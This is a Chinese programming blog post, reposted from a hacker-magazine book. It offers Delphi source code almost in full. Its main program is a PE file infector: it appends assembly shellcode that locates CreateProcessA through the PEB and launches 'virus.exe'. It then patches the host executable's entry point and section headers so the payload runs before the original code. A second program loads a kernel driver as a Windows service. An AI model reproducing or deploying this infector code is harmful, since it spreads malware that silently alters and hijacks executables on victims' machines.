delphi实现dll注入

作者在 2010-02-03 22:08:59 发布以下内容
小弟买黑防的书,书上有这个就转过来了。共享出来一起学习吧!需要汇编的功底啊。。。
program DLL_Infection;
{$APPTYPE CONSOLE}
uses
  SysUtils,
  classes,
  windows;
const
  Zero:Byte=0;
  CALL:Byte=$E8;
  ADD:Byte=$05;
  JmpEax:Word=$E0FF;
  CallEax:Word=$D0FF;
var
  DosHeader:IMAGE_DOS_HEADER;
  NtHeader:IMAGE_NT_HEADERS;
  SectionHeader:IMAGE_SECTION_HEADER;
  CodeLength,NumOfSection,FileAlignMent,SectionAlignMent:integer;
  oEP,CodeStart:DWORD;
  srcFile:Integer;
  Data:^DWORD;
  StringLength:integer;
Procedure Code;
label Search,Search2,CodeEnd;
begin
  asm
   {备份}
   push ebp
   push ebx
   push esi
   push edi
   {根据PEB结构获得kernel32.dll基址}
   mov eax,fs:$30
   mov eax,[eax+$0c]
   mov esi,[eax+$1c]
   lodsd
   mov eax,[eax+$08] //eax=Kernel32基址
   {根据引出表获得CreateProcessA函数的地址}
   mov ebp,eax
   mov eax,[eax+$3C] //eax=eax._lfanew
   add eax,ebp
   mov eax,[eax+$78] //eax=eax.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
   add eax,ebp
   mov ebx,[eax+$18] //ebx=eax.NumberOfNames
   dec ebx
   mov ecx,[eax+$20] //ecx=eax.AddressOfNames
   add ecx,ebp //ecx指向函数名数组
   xor edx,edx
   dec edx
   search:   //搜索需要的函数名
    inc edx
    cmp edx,ebx
    jnle CodeEnd //已经搜索完所有函数名
    mov esi,[ecx+edx*4]
    add esi,ebp //esi指向当前搜索到的函数名
    cmp dword ptr [esi],  $61657243 //'Crea'
   jne search
    cmp dword ptr [esi+4],$72506574 //'tePr'
   jne search
    cmp dword ptr [esi+8],$7365636f //'oces'
   jne search
    cmp word ptr [esi+12],$4173     //'sA'
   jne search
   mov ebx,[eax+$24] //ebx=eax.AddressOfNameOrdinal
   add ebx,ebp //ebx指向输出序号数组
   mov edx,[ebx+2*edx]
   shl edx,16
   shr edx,16 //取末尾16位
   mov ebx,[eax+$1c] //ebx=eax.AddressOfFunctions
   add ebx,ebp //ebx指向函数地址数组
   mov eax,[ebx+edx*4]
   add eax,ebp
   push eax //保存起来
   {用同样的方法得到GetModuleHandleA的地址}
   mov eax,[ebp+$3C]
   add eax,ebp
   mov eax,[eax+$78]
   add eax,ebp
   mov ebx,[eax+$18]
   dec ebx
   mov ecx,[eax+$20]
   add ecx,ebp
   xor edx,edx
   dec edx
   search2:
    inc edx
    cmp edx,ebx
    jnle CodeEnd
    mov esi,[ecx+edx*4]
    add esi,ebp
    cmp dword ptr [esi],  $4D746547 //'GetM'
   jne Search2
    cmp dword ptr [esi+4],$6C75646F //'odul'
   jne Search2
    cmp dword ptr [esi+8],$6E614865 //'eHan'
   jne Search2
    cmp dword ptr [esi+12],$41656C64 //'dleA'
   jne Search2
   mov ebx,[eax+$24]
   add ebx,ebp
   mov edx,[ebx+2*edx]
   shl edx,16
   shr edx,16
   mov ebx,[eax+$1c]
   add ebx,ebp
   mov eax,[ebx+edx*4]
   add eax,ebp
   pop esi //还原CreateProcessA地址
   push eax //保存GetModuleHandle地址
   {构建字符串}
   mov ebp,esp
   sub esp,$64 //分配100个字节作为局部变量
   mov [ebp-$A],$75726976
   mov [ebp-$6],$78652e73
   mov word ptr [ebp-$2],$0065 //构造字符串'virus.exe'
   lea ebx,[ebp-$64]
   mov ecx,$44  //填充StartupInfo参数
   mov edi,ebx
   xor eax,eax
   rep stosb  //清零
   mov [ebx+$2C],$1 //ebx.dwFlags=STARTF_USESHOWWINDOW
   lea ecx,[ebp-$20]
   lea eax,[ebp-$A] //eax指向文件名字符串
   {调用CreateProcessA}
   push ecx //TProcessInformation
   push ebx //StartupInfo
   push 0
   push 0
   push 0
   push 1
   push 0
   push 0
   push eax //文件名
   push 0
   call esi //调用
   add esp,$64
   pop eax //将GetModuleHandle地址还原到eax
   CodeEnd:
   {还原}
   pop edi
   pop esi
   pop ebx
   pop ebp
   nop  //7个nop作为代码结束标志
   nop
   nop
   nop
   nop
   nop
   nop
  end;
end;
Function Align(size,ALIGN_BASE:integer):integer;
begin
  result:=size;
  if Align_Base=0 then exit;
  if size mod ALIGN_BASE <>0 Then
   result:=((size div ALIGN_BASE)+1)*ALIGN_BASE;
end;
Procedure Infect(fn:string);
var
  i:integer;
  FileName:string;
begin
  srcFile:=FileOpen(fn,fmOpenReadWrite or fmShareDenyNone);
  if srcFile=0 then exit;
  FileSeek(srcFile,0,soFromBeginning);//定位到文件开头
  FileRead(srcFile,DosHeader,SizeOf(DosHeader));
  if DosHeader.e_magic<>IMAGE_DOS_SIGNATURE then
  begin
   FileClose(srcFile);
   exit; //目标不是个有效的PE文件
  end;
  fileseek(srcFile, DosHeader._lfanew, sofrombeginning);
  fileread(srcFile,NtHeader,sizeof(NtHeader));
  if NtHeader.Signature<>IMAGE_NT_SIGNATURE then
  begin
   FileClose(srcFile);
   exit;
  end;
  NumOfSection:=NtHeader.FileHeader.NumberOfSections;//保存段的个数
  FileAlignMent:=NtHeader.OptionalHeader.FileAlignment;
  SectionAlignMent:=NtHeader.OptionalHeader.SectionAlignment;
  oEP:=NtHeader.OptionalHeader.AddressOfEntryPoint;//保存原入口点
  FileSeek(srcFile,DosHeader._lfanew+sizeof(NtHeader)+(NumOfSection-1)*SizeOf(IMAGE_SECTION_HEADER),soFromBeginning);
  //定位到最后一个段头部
  FileRead(srcFile,SectionHeader,sizeof(SectionHeader));
  if GetFileSize(srcFile,nil)>SectionHeader.PointerToRawData+SectionHeader.SizeOfRawData then
  begin
    FileClose(srcFile);
    exit; //含有附加数据,不感染
  end;
  {写入感染代码}
  FileSeek(srcFile,0,soFromEnd); //定位到文件尾
  Data:=@Code;
  CodeLength:=0;
  while Data^<>$90909090 do
  begin
    FileWrite(srcFile,Data^,4);
    CodeLength:=CodeLength+4; //计算写入的代码长度
    inc(Data);
  end;
  {写入跳回原入口点代码}
  FileWrite(srcFile,CALL,1);
  FileName:=ExtractFileName(fn);
  StringLength:=length(FileName)+1;
  FileWrite(srcFile,StringLength,4); //写入Call xxxxxxxx(字符串末尾) 以便字符串地址入栈
  for i:=1 to Length(FileName) do
    FileWrite(srcFile,FileName[i],1); //写入模块名
  FileWrite(srcFile,Zero,1);//字符串结尾
  FileWrite(srcFile,CallEax,2); //调用GetModuleHandle函数取得模块基址
  FileWrite(srcFile,ADD,1);
  FileWrite(srcFile,oEP,4);//写入add eax,oEP
  FileWrite(srcFile,JmpEax,2);//写入Jmp Eax
  CodeLength:=CodeLength+14+StringLength;
  for i:=1 to Align(CodeLength,FileAlignMent)-CodeLength do
    FileWrite(srcFile,Zero,1); //填充0以对齐FileAlignMent
  CodeStart:=SectionHeader.PointerToRawData+SectionHeader.SizeOfRawData;//原文件末尾,即新代码的起始
  NtHeader.OptionalHeader.AddressOfEntryPoint:=CodeStart-SectionHeader.PointerToRawData+SectionHeader.VirtualAddress;
  //将文件偏移换算成内存中的地址,修改文件入口点
  SectionHeader.Misc.VirtualSize:=SectionHeader.SizeOfRawData+CodeLength; //修改该段内存中的大小
  SectionHeader.SizeOfRawData:=SectionHeader.SizeOfRawData+Align(CodeLength,FileAlignMent);//修改段的大小
  SectionHeader.Characteristics:=$E0000060; //修改段的属性
  NtHeader.OptionalHeader.SizeOfImage:=Align(SectionHeader.VirtualAddress+SectionHeader.Misc.VirtualSize,SectionAlignMent);
  //修正SizeOfImage
  {将修改后的各部分头部写入源文件}
  FileSeek(srcFile,DosHeader._lfanew,soFromBeginning);
  FileWrite(srcFile,NtHeader,SizeOf(NtHeader));
  FileSeek(srcFile,DosHeader._lfanew+sizeof(NtHeader)+(NumOfSection-1)*SizeOf(IMAGE_SECTION_HEADER),soFromBeginning);
  FileWrite(srcFile,SectionHeader,SizeOf(SectionHeader));
  FileClose(srcFile);
end;
begin
  if paramstr(1)<>'' then infect(paramstr(1));
end.
 
 
 
program prjRESSDT;
{$APPTYPE CONSOLE}
uses
  Windows, SysUtils, WinSvc;
const
  IOCTL_SETPROC = $0022E14B;
function RVATOVA(base, offset: DWORD): Pointer;
begin
  result := Pointer(base + offset);
end;
function ibaseDD(ibase: dword): DWORD;
begin
  result := PDWORD(@ibase)^;
end;
const
  STATUS_INFO_LENGTH_MISMATCH = $C0000004;
function NT_SUCCESS(Status: Integer): Boolean;
begin
  Result := Status >= 0;
end;
type
  IMAGE_FIXUP_ENTRY = record
    offset: Word;
    atype: Word;
  end;
  PIMAGE_FIXUP_ENTRY = ^IMAGE_FIXUP_ENTRY;
var
  strDriver: PChar; //array [0..MAX_PATH - 1] of Char;
  hDriver: HWND;
function GetDriverPath(var lpFileName: LPTSTR; dwSize: DWORD): Boolean;
var
  szPath: array[0..MAX_PATH - 1] of Char;
begin
  GetModuleFileName(0, szPath, MAX_PATH);
  //lstrcpy(lpFileName,szPath);
  lpFileName := PChar(ExtractFileDir(szPath) + 'ressdt.sys');
  Result := FileExists(lpFileName)
end;
function LoadDriver(lpFileName: LPCTSTR): HWND;
var
  hDriver: HWND;
  hSCManager, hService: SC_HANDLE;
  arg: PChar;
begin
  hDriver := INVALID_HANDLE_VALUE;
  hSCManager := OpenSCManager(nil, nil, SC_MANAGER_CREATE_SERVICE);
  if Succeeded(hSCManager) then
  begin
    hService := CreateService(
      hSCManager,
      'RESSDT',
      'RESSDT',
      SERVICE_START,
      SERVICE_KERNEL_DRIVER,
      SERVICE_DEMAND_START,
      SERVICE_ERROR_IGNORE,
      lpFileName,
      nil,
      nil,
      nil,
      nil,
      nil
      );
    if ERROR_SERVICE_EXISTS = GetLastError then
      hService := OpenService(hSCManager, 'RESSDT', SERVICE_START);
    arg := nil;
    StartService(hService, 0, arg);
    hDriver := CreateFile(
      '\\\\.\\RESSDTDOS',
      GENERIC_READ + GENERIC_WRITE,
      0,
      nil,
      OPEN_EXISTING,
      0,
      0);
    CloseServiceHandle(hService);
    CloseServiceHandle(hSCManager);
  end;
  Result := hDriver;
end;
procedure UnloadDriver(hDriver: HWND);
var
  hSCManager, hService: SC_HANDLE;
  ss: SERVICE_STATUS;
begin
  CloseHandle(hDriver);
  hSCManager := OpenSCManager(nil, nil, SC_MANAGER_CREATE_SERVICE);
  if Succeeded(hSCManager) then
  begin
    hService := OpenService(hSCManager, 'RESSDT', $00010000 + SERVICE_STOP);
    if Succeeded(hService) then
    begin
      ControlService(hService, SERVICE_CONTROL_STOP, ss);
      DeleteService(hService);
      CloseServiceHandle(hService);
    end;
    CloseServiceHandle(hSCManager);
  end;
end;
begin
  GetDriverPath(strDriver, MAX_PATH);
  WriteLn(strDriver);
  hDriver := LoadDriver(strDriver);
  if INVALID_HANDLE_VALUE = hDriver then
  begin
    WriteLn('Load driver failed!');
  end
  else
  begin
    // ReSSDT(hDriver);
  end;
  UnloadDriver(hDriver);
  Readln;
end.
编程点滴 | 阅读 2127 次
文章评论,共0条
游客请输入验证码
浏览2344437次